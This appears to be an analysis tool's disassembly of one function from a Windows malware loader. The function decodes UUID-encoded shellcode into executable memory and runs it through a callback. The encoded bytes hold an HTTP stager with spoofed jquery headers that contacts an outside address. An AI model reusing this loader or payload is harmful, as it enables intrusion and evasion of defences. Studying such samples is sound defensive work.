Function at 0x140001194
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub rsp, 0x228
lea rax, str.e48348fc_e8f0_00c8_0000_415141505251
mov qword [rsp + 0x60], rax
lea rax, str.d2314856_4865_528b_6048_8b5218488b52
mov qword [rsp + 0x68], rax
lea rax, str.728b4820_4850_b70f_4a4a_4d31c94831c0
mov qword [rsp + 0x70], rax
lea rax, str.7c613cac_2c02_4120_c1c9_0d4101c1e2ed
mov qword [rsp + 0x78], rax
lea rax, str.48514152_528b_8b20_423c_4801d0668178
mov qword [rsp + 0x80], rax
lea rax, str.75020b18_8b72_8880_0000_004885c07467
mov qword [rsp + 0x88], rax
lea rax, str.50d00148_488b_4418_8b40_204901d0e356
mov qword [rsp + 0x90], rax
lea rax, str.41c9ff48_348b_4888_01d6_4d31c94831c0
mov qword [rsp + 0x98], rax
lea rax, str.c9c141ac_410d_c101_38e0_75f14c034c24
mov qword [rsp + 0xa0], rax
lea rax, str.d1394508_d875_4458_8b40_244901d06641
mov qword [rsp + 0xa8], rax
lea rax, str.44480c8b_408b_491c_01d0_418b04884801
mov qword [rsp + 0xb0], rax
lea rax, str.415841d0_5e58_5a59_4158_4159415a4883
mov qword [rsp + 0xb8], rax
lea rax, str.524120ec_e0ff_4158_595a_488b12e94fff
mov qword [rsp + 0xc0], rax
lea rax, str.6a5dffff_4900_77be_696e_696e65740041
mov qword [rsp + 0xc8], rax
lea rax, str.e6894956_894c_41f1_ba4c_772607ffd548
mov qword [rsp + 0xd0], rax
lea rax, str.3148c931_4dd2_c031_4d31_c94150415041
mov qword [rsp + 0xd8], rax
lea rax, str.79563aba_ffa7_ebd5_735a_4889c141b8ad
mov qword [rsp + 0xe0], rax
lea rax, str.4d000022_c931_5141_4151_6a03415141ba
mov qword [rsp + 0xe8], rax
lea rax, str.c69f8957_d5ff_59eb_5b48_89c14831d249
mov qword [rsp + 0xf0], rax
lea rax, str.314dd889_52c9_0068_0240_84525241baeb
mov qword [rsp + 0xf8], rax
lea rax, str.ff3b2e55_48d5_c689_4883_c3506a0a5f48
mov qword [rsp + 0x100], rax
lea rax, str.8948f189_49da_c0c7_ffff_ffff4d31c952
mov qword [rsp + 0x108], rax
lea rax, str.2dba4152_1806_ff7b_d585_c00f859d0100
mov qword [rsp + 0x110], rax
lea rax, str.cfff4800_840f_018c_0000_ebd3e9e40100
mov qword [rsp + 0x118], rax
lea rax, str.ffa2e800_ffff_6a2f_7175_6572792d332e
mov qword [rsp + 0x120], rax
lea rax, str.2e322e33_6c73_6d69_2e6d_696e2e6a7300
mov qword [rsp + 0x128], rax
lea rax, str.f71343a0_c02c_835a_daa8_72e419bb0319
mov qword [rsp + 0x130], rax
lea rax, str.d63fc240_1fb5_1d80_56fd_bcc920300fc6
mov qword [rsp + 0x138], rax
lea rax, str.5e00a806_7371_aa0d_d3b8_a5c68ae372bc
mov qword [rsp + 0x140], rax
lea rax, str.62ce482c_004f_6341_6365_70743a207465
mov qword [rsp + 0x148], rax
lea rax, str.682f7478_6d74_2c6c_6170_706c69636174
mov qword [rsp + 0x150], rax
lea rax, str.2f6e6f69_6878_6d74_6c2b_786d6c2c6170
mov qword [rsp + 0x158], rax
lea rax, str.63696c70_7461_6f69_6e2f_786d6c3b713d
mov qword [rsp + 0x160], rax
lea rax, str.2c392e30_2f2a_3b2a_713d_302e380d0a41
mov qword [rsp + 0x168], rax
lea rax, str.70656363_2d74_614c_6e67_756167653a20
mov qword [rsp + 0x170], rax
lea rax, str.552d6e65_2c53_6e65_3b71_3d302e350d0a
mov qword [rsp + 0x178], rax
lea rax, str.65666552_6572_3a72_2068_7474703a2f2f
mov qword [rsp + 0x180], rax
lea rax, str.65646f63_6a2e_7571_6572_792e636f6d2f
mov qword [rsp + 0x188], rax
lea rax, str.63410a0d_6563_7470_2d45_6e636f64696e
mov qword [rsp + 0x190], rax
lea rax, str.67203a67_697a_2c70_2064_65666c617465
mov qword [rsp + 0x198], rax
lea rax, str.73550a0d_7265_412d_6765_6e743a204d6f
mov qword [rsp + 0x1a0], rax
lea rax, str.6c6c697a_2f61_2e35_3020_2857696e646f
mov qword [rsp + 0x1a8], rax
lea rax, str.4e207377_2054_2e36_333b_205472696465
mov qword [rsp + 0x1b0], rax
lea rax, str.372f746e_302e_203b_7276_3a31312e3029
mov qword [rsp + 0x1b8], rax
lea rax, str.6b696c20_2065_6547_636b_6f0d0a0048df
mov qword [rsp + 0x1c0], rax
lea rax, str.b28fd1b7_a7c1_187d_bf06_7958658568a6
mov qword [rsp + 0x1c8], rax
lea rax, str.3e7bfdfd_d6bf_2ea0_64db_c0558d83154b
mov qword [rsp + 0x1d0], rax
lea rax, str.94384494_a4d0_bddf_3054_8231a5a7e34d
mov qword [rsp + 0x1d8], rax
lea rax, str.a720c59a_00ae_be41_f0b5_a256ffd54831
mov qword [rsp + 0x1e0], rax
lea rax, str.0000bac9_0040_b841_0010_000041b94000
mov qword [rsp + 0x1e8], rax
lea rax, str.ba410000_a458_e553_ffd5_489353534889
mov qword [rsp + 0x1f0], rax
lea rax, str.f18948e7_8948_41da_b800_2000004989f9
mov qword [rsp + 0x1f8], rax
lea rax, str.9612ba41_e289_d5ff_4883_c42085c074b6
mov qword [rsp + 0x200], rax
lea rax, str.48078b66_c301_c085_75d7_5858584805af
mov qword [rsp + 0x208], rax
lea rax, str.5000000f_e8c3_fd9f_ffff_3133392e3135
mov qword [rsp + 0x210], rax
lea rax, str.32322e39_2e37_3331_3000_000186a09090
mov qword [rsp + 0x218], rax
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x1c00
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x24], 0x38
mov dword [rsp + 0x20], 0
jmp 0x14000151b
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x24]
cmp dword [rsp + 0x20], eax
jge 0x140001559
movsxd rax, dword [rsp + 0x20]
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + rax*8 + 0x60]
call qword [sym.imp.RPCRT4.dll_UuidFromStringA]
mov dword [rsp + 0x28], eax
cmp dword [rsp + 0x28], 0
jge 0x140001549
xor eax, eax
jmp 0x1400015a2
mov rax, qword [rsp + 0x30]
add rax, 0x10
mov qword [rsp + 0x30], rax
jmp 0x140001511
call fcn.140001140
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
call fcn.140001014
mov qword [rsp + 0x48], rax
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.EnumDateFormatsA
mov rcx, rax
call qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [rsp + 0x50]
xor eax, eax
add rsp, 0x228
ret